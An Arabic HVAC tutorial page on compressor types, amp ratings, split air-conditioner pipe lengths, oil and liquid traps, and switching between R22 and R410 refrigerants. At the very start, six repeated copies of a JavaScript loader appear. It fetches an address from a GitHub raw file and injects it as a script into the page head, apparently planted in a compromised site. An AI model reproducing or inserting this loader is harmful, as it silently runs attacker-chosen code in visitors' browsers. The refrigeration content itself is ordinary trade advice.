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;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});

جدول حساب ,Ton ,Wat ,Hp ,Condenateur من خلال, Btu

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مواقع لحساب القدرات نستعملها

https://www.toutcalculer.com/electricite/tension-intensite-resistance-puissance.php

https://www.convertunits.com/from/hp/to/ton

Power Factor Calculator

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LRA – Locked Rotor Amps: The current you can expect under starting conditions when you apply full voltage. It occurs instantly during start up.

RLA – Rated Load Amps: The maximum current a compressor should draw under any operating conditions. Often mistakenly called running load amps which leads people to believe, incorrectly, that the compressor should always pull these amps.

FLA – Full Load Amps: Changed in 1976 to “RLA – Rated Load Amps”.

ملاحظة 

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السلام عليكم … الموضوع تعبنا عليه 5 أشخاص و6 مراقبين  وهو محمل اعلاه كنص لمن يريد أن يستعمله في التدريس  وفيه تجربتنا الخاصة ولايعني ان افرضها على الناس أو اعتبرها هي الاصح ولكن هذه ممارسات ونجاحات 30 سنة خبرة و15 سنة تدريس في المعاهد وشكرا

أنواع الضاغط , في أنظمة التبريد ,الفرق بين, RSIR ,CSIR ,CSR ,PTC ,DC Iverter

درس , قدرات الضواغط المناسبة في الثلاجات, تحويل اللتر لhp ,تحويل القدم للتر ,تحويل القدم لhp

الكابلرى ,الانبوب الشعرى ,capilares refrigeracion , المشاكل والحلول

اكواد جميع الضواغط و كميات الزيت و الرموز و وحدة قيس زيت الضاغط هو الغرام

قطر الكابيلاري كل ضاغط cappillary tube diamètre

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ضوابط على زيادة طول أنابيب المكيف السبلت
هناك ضوابط وتعليمات تهتم بزيادة الطول القياسي لأنابيب المكيف السبلت يونت عند الضرورة وأكثر هذه التعليمات مدونه بكتلوج التركيب المرفق مع الوحدة . لذلك يجب قراءة هذا الكتلوج بكل عناية قبل البدء بعملية التركيب.
ولكن للأهميه (يجب إتباع تعليمات المصنع لكل وحدة حسب تصميمها )
وعلى سبيل المثال :
عندما تكون الوحدة الداخلية أسفل الوحدة الخارجية :
1- استخدم مواسير 4 م او أكثر .
2- ولكن بحد أقصى 20 م .
3- عند زيادة الارتفاع عن 5 م فأنه يلزم تشكيل مصيدة زيت على شكل حرف U كل 5 م ارتفاع بحيث تكون أول مصيدة زيت بالقرب من الوحدة الداخلية مع تشكيل ميل بسيط باتجاه مصيدة الزيت الأولى .

درس : مصيدة الزيت Oil Trap , في المكيفات Split ,على خط السحب ,عندما يكون الضاغط أعلى من الفانة الداخليبة

بالنسبة إلى مقدار الشحنة :
-عند استخدام وصلات اكبر من 4 م فأنه يلزم إضافة كمية من فريون 22 ( بمقدار 25 جرام لكل تر طولي زيادة) .
-مثال 1 : عند استخدام وصلة 8 م تكون كمية الفريون المضافة = (8 -4 )×25 = 100 جرام
– مثال 2 : عند استخدام وصلة12 م تكون كمية الفريون المضافة =(12- 4 )×25= 200 جرام

درس , الفرق بين غاز 22 وغاز 410 ,هل يمكن استبدال نظام يعمل على فريون 22 لفريون R410 ,هل يمكن استبدال نظام يعمل على فريون410r لفريون 22

تجربتي 

* مع خبرة 30 سنة أطول مسافة لطول المواسير المستعملة  بالنسبة لنا هي 12 متر كحد اقصى لأن المشاكل والضغوطات تكبر بعد 12 متر وعمر المكيف يقصر مع كثرة الإحتكاك

• اقصر طول تم تجربته بدون مشاكل هو 2.5 متر مع مراعات الوضعية والمصيدة والقدرات والضغوطات والتجربة الميدانية

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المكيّف المكيّف هو عبارة عن جهاز كهربائيّ يركّب داخل السيّارات والبيوت، ويستخدم لخفض درجات الحرارة في فصل الصيف، ورفعها في الشتاء، وتختلف هذه الأجهزة باختلاف المكان الذي توضع فيه، فما يناسب المصانع لا يستخدم في البيوت، ولكن مبدأ عملها واحد لا يختلف، حيث تعمل بنفس فكرة الثلاجة التي تعمل بغاز الفريون الذي يقوم بنقل الحرارة من داخل المكان الذي تستخدم فيه إلى خارجه في الصيف، والعكس في الشتاء.  

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السبب الرئيسي

غاز R22 يستخدم في التكييفات تم منعه لانه يؤدي إلى تأكل طبقة الاوزون، بينما غاز R410 آمن إلى حد ما ولا يؤدي إلى تأكل طبقة الأوزون ويضمن برودة اكبر وعمر اطول للضاغط والمكونات الرئيسية للمكيف.

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تجربتي

ضغط 22 هو في المعدل 4.5 بار

ضغط 410 هو في المعدل 7.5 بار

يمكن أن تغير 410 ب 22 والعكس لا

عند تغيير الغاز يجب ان تقوم بسحب قوي وطويل

يشحن 22 في شكل غاز  يعني القارورة واقفة ويشحن 410 سائلا يعني القارورة مقلوبة على الرأس

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LRA – Locked Rotor Amps: The current you can expect under starting conditions when you apply full voltage. It occurs instantly during start up.

RLA – Rated Load Amps: The maximum current a compressor should draw under any operating conditions. Often mistakenly called running load amps which leads people to believe, incorrectly, that the compressor should always pull these amps.

FLA – Full Load Amps: Changed in 1976 to “RLA – Rated Load Amps”.

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قدرة الضاغط المناسب للثلاجات

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توصيات في تكييف الهواء عندما تكون هناك مشاكل مع الأنابيب الشعرية الكابلرى

التوصيات في الثلاجات

The best way to clean the capillary from oils and repair Blockage in cooling with Gaz R22

أفضل طريقة لنظيف الشعيرات  من الزيوت وإصلاح الانسداد في التبريد باستخدام غاز R22

La meilleure façon de nettoyer les capillaires des huiles et de réparer les obstructions lors du refroidissement avec du gaz R22

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جدول التحويلات في التبريد Ton , Watts ,Psig ,Btu ,Bar , Kpa , Feet ,Psi Metres , Kcal ,Inches

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اولا : الاويل تراب (مصيدة الزيت )
وهو عباره عن كوع علي حرف( يو ) بالانجليزي
وهو يكون عادتا عند نهايه المبخر ( الوحده الداخليه ) وهو يوضع في خط السحب فقط اي الخط الاكبر سمكا
ووظيفته ان عند تركيب الوحده الدخليه في وضع اسفل من منسوب الكمبريسور ( الوحده الخارجيه )
يجب وضع هذه المصيده لاعادة الزيت الي الضاغط مره اخري لان من مواصفات ( فريون 22 )انه يزوب في الزيت في درجات الحراره العاليه وينفصل عنه في درجات الحراره المنخفضه
اي ان الزيت يخرج جزئ منه مع الفريون من الضاغط الي باقي الدائره وفي حالة ان الوحده الداخليه في منسوب منخفض يجب وضع وسيلة مساعده للزيت حتي يصعد مره اخري الي الضاغط حتي لا يتلف اجزائه الداخليه وفي نفس الوقت حتي لا يقل اداء الكويل الداخلي بكثره الزيت داخل مواسيره
ويجب عمل هذه المصيده لارتفاع (4 امتار ) رأسي
واذا زاد الارتفاع عن ذلك يجب وضع مصيده اخري بعد ( 4 امتار )
اي اذا كانت الوحده الخارجيه ترتفع ( 8 أمتار ) عن الوحده الداخليه يجب عمل (2 ) مصيده واحده عند الوحده الداخليه والثانيه عند ارتفاع ى(4 أمتار )
ملحوظه / اذا كان الجهاز يعمل (heat pump ) دوره معكوسه اثناء الشتاء فمن المكن الاستغناء عن مصيده الزيت
*ثانيا : اللكويد تراب ( مصيدة السائل )
وهي عباره عن كوع علي حرف ( يو مقلوب )
وهو يكون عادتا عند الوحده الخارجيه ( الكمبريسور )
وهو يوضع ايضا في خط السحب فقط .
ووظيفته ان عند تركيب الوحده الداخليه في ضع اعلي بكثير من الوحده الخارجيه يجب عمل هذه المصيده للسائل العائد من الوحده الدخليه اثناء اعادة تشغيل الكمبريسور مره اخري حتي لا يدخل الفريون السائل المندفع من ارتفاع عالي مباشة الي الضاغط ويؤدي الي تلف الاجزاء الميكانيكيه و سحب جزئ اكبر من الزيت داخل الضاغط مما يؤدي الي نفس الضرر ايضا.

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